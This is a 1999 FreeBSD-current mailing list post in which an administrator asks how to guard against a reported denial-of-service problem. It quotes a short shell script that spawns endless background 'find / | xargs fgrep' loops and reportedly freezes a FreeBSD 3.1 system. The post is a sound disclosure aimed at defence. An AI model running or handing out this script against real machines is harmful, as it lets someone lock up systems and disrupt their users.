From owner-freebsd-current Thu Mar 4 4:29:46 1999 Delivered-To: freebsd-current@freebsd.org Received: from sand2.sentex.ca (sand2.sentex.ca [209.167.248.3]) by hub.freebsd.org (Postfix) with ESMTP id 07C4B14EB5 for ; Thu, 4 Mar 1999 04:29:41 -0800 (PST) (envelope-from mike@sentex.net) Received: from gravel (ospf-wat.sentex.net [209.167.248.81]) by sand2.sentex.ca (8.8.8/8.8.8) with SMTP id HAA18607 for ; Thu, 4 Mar 1999 07:29:23 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <4.1.19990304073656.084804e0@granite.sentex.ca> X-Sender: mdtancsa@granite.sentex.ca X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 04 Mar 1999 07:38:43 -0500 To: current@freebsd.org From: Mike Tancsa Subject: Simple DOS against 3.x locks box solid Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is there any way to stop what is below ? As posted by yk@dgtu.donetsk.ua > >This script freeze my 3.1-RELEASE box. >I can't make any connection with my box, also from console. > >-------- cut here --- >#! /bin/sh > >for j in 1 2 3 4 5 6 7 8 9 10 >do >echo -n $j >nohup sh -c 'while :; do find / -type file |xargs fgrep fticom; done' >/dev/null 2>&1 & >echo >done >--------- cut here ---- > >-- >Yury V. Yaroshevsky | Donetsk State Technical University >YY18-RIPE | (380 622) 356455 yk@dgtu.donetsk.ua > ********************************************************************** Mike Tancsa, Network Admin * mike@sentex.net Sentex Communications Corp, * http://www.sentex.net/mike Cambridge, Ontario * 01.519.651.3400 Canada * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message